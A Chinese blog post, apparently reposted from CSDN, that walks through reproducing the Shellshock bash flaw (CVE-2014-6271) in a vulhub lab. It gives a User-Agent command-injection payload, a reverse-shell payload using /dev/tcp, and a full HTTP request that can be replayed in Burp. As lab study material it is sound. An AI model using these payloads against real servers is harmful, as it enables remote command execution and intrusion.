【研究】Shellshock 破壳漏洞bash命令执行(CVE-2014-6271)

【研究】Shellshock 破壳漏洞(CVE-2014-6271)

1.环境

环境
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
这个搭环境很方便快捷,具体可以看说明,很简单

2.原理

目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

3.影响版本

GNU Bash <= 4.3

4.利用过程

有两个页面http://10.77.0.130:8080/victim.cgihttp://10.77.0.130:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。
在这里插入图片描述

操作:
访问 http://10.77.0.130:8080/victim.cgi,通过 Burp 截包,修改 HTTP 请求头中 UA 字段:

命令执行

User-Agent: () { :;};echo ; echo; echo $(/bin/ls -al /); #列出bin目录下所有文件

在这里插入图片描述
反弹 Shell 到 ip 8888端口:
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ip/8888 0>&1;

完整的请求报文如下(可直接复制到 Burp 下重放):

GET /victim.cgi HTTP/1.1
Host: 10.77.0.130:8080
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.77.0.58/666 0>&1;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

在这里插入图片描述

发布了46 篇原创文章 · 获赞 12 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/god_zzZ/article/details/100518749